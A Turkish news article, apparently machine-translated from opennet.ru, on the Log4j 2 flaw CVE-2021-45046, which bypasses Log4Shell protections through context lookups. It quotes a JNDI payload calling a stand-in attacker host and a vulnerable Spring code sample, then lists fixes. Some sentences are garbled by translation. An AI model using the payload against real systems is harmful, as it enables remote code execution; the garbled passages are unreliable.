Log4j 2 için ek korumayı atlamanıza olanak tanıyan yeni bir saldırı seçeneği

Log4j 2 kütüphanesindeki (CVE-2021-45046) JNDI aramalarının uygulanmasında, 2.15 sürümünde eklenen düzeltmelere ve koruma için "log4j2.noFormatMsgLookup" ayarının kullanımına bakılmaksızın ortaya çıkan başka bir güvenlik açığı tespit edildi. Sorun esasen "noFormatMsgLookup" bayrağı kullanılarak korunan Log4j 2'nin eski sürümleri için tehlikelidir, çünkü önceki güvenlik açıklarına (Log4Shell, CVE-2021-44228) karşı korumayı atlamayı mümkün kılar ve bu da kodunuzu sunucu. Sürüm 2.15 kullanıcıları için istismar, mevcut kaynakların tükenmesi nedeniyle uygulamanın çökmesine neden olmakla sınırlıdır.

Güvenlik açığı yalnızca günlük kaydı için ${ctx:loginId} gibi Bağlam Aramalarını veya %X, %mdc ve %MDC gibi MDC şablonlarını (İş Parçacığı Bağlam Haritası) kullanan sistemlerde görünür. İşlem, günlükte çıktının biçimlendirilmesine ilişkin kuralları tanımlayan uygulamada bağlam sorguları veya MDC şablonları kullanıldığında, JNDI ikamelerini içeren verilerin günlüğe çıktısı için koşulların oluşturulmasına indirgenir.

LunaSec araştırmacıları, Log4j'nin 2.15'ten düşük sürümleri için, bu güvenlik açığının Log4Shell saldırısı için yeni bir vektör olarak kullanılabileceğini ve günlük çıkışında harici verileri içeren ThreadContext ifadelerinin kullanılması durumunda kod yürütülmesine yol açabileceğini belirtti. "koru" bayrağı etkin. noMsgFormatLookups" veya "%m{nolookups}" şablonu.

Log4j 2 için ek korumayı atlamanıza olanak tanıyan yeni bir saldırı seçeneği

Korumanın atlanması, "${jndi:ldap://attacker.com/a}" ifadesinin doğrudan değiştirilmesi yerine, bu ifadenin, günlük çıktısını biçimlendirme kurallarında kullanılan bir ara değişkenin değeriyle değiştirilmesi gerçeğine iner. . Örneğin, günlüğe çıktı alınırken ${ctx:apiversion} içerik sorgusu kullanılıyorsa, saldırı, "${jndi:ldap://attacker.com/a}" verisinin log dosyasına yerleştirilmesiyle gerçekleştirilebilir. apiversiyon değişkenine yazılan değer. Güvenlik açığı bulunan kod örneği: Appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // "X-Api-Version" HTTP başlık değeri ThreadContext ThreadContext.put("apiversion) öğesine iletilir ", apiVersion ); // Günlüğe çıktı verirken, harici apiversiyon değeri, ${ctx:apiversion} logger.info("API sürümü için bir istek alındı"); yerine koyma kullanılarak işlenecektir. "Merhaba dünya!" dönüşünü yapın; }

Log4j sürüm 2.15'te, güvenlik açığı, değerleri ThreadContext'e aktarırken DoS saldırıları gerçekleştirmek için kullanılabilir ve bu da çıktı biçimlendirme şablonu işlemede bir döngüye neden olur.

Log4j 2 için ek korumayı atlamanıza olanak tanıyan yeni bir saldırı seçeneği

Güvenlik açığını engellemek için 2.16 ve 2.12.2 güncellemeleri yayınlandı. Log4j 2.16 dalında, sürüm 2.15'te uygulanan düzeltmelere ve JNDI LDAP isteklerinin “localhost”a bağlanmasına ek olarak, JNDI işlevselliği varsayılan olarak tamamen devre dışı bırakılmıştır ve mesaj değiştirme şablonları desteği kaldırılmıştır. Bir güvenlik çözümü olarak, JndiLookup sınıfının sınıf yolundan kaldırılması önerilir (örneğin, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

Paketlerdeki düzeltmelerin görünümünü dağıtımların (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ve Java platformu üreticilerinin (GitHub, Docker, Oracle, vmWare, Broadcom ve Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, vb.).

Kaynak: opennet.ru

Yorum ekle